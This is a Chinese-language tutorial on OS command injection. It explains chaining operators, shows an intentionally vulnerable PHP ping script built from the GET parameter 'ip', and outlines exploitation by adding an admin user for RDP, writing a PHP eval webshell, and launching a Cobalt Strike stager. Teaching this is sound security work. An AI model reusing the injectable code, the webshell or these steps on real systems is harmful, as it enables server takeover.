一、远程命令(command)执行
原理
系统对用户输入的参数过滤不严,导致用户可以输入&、|、||等命令连接符,拼接并执行命令
利用条件
1、应用调用执行系统命令的函数
2、将用户输入作为系统命令的参数拼接到了命令行中
3、没有对用户输入进行过滤或过滤不严
危害
1、继承Web服务程序的权限去执行系统命令
2、反弹shell
3、控制整个网站甚至控制服务器
4、进一步内网渗透
拼接符
示例 | 含义 |
---|---|
cmd1 | cmd2 | 只执行cmd2 |
cmd1 || cmd2 | 只有当cmd1执行失败后,cmd2才被执行 |
cmd1 & cmd2 | 先执行cmd1,不管是否成功,都会执行cmd2 |
cmd1 && cmd2 | 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2 |
Linux系统中支持用分号 (;)执行多个命令,cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2
二、示例
利用代码
<?php
echo system("ping -n 4 ".$_GET['ip']);
?>
方式一:创建用户
访问利用文件,通过 | 等命令拼接符拼接命令,进而创建用户,并添加到管理员组,再通过3389端口远程连接
创建用户
添加到管理员组
远程连接
方式二:写入木马文件
通过 | 符号拼接命令,写入一句话木马文件,再通过蚁剑连接
木马文件:
<?php
@eval($_POST['cmd']);
?>
连接
方式三:CS上线
开启CS服务端
打开CS客户端,生成攻击脚本
复制攻击脚本
拼接脚本命令,并且执行
效果
三、命令执行与代码执行区别
1、涉及到的函数不同
2、执行的方式不同
命令执行:一般指操作系统命令
远程代码执行:一般指的是脚本代码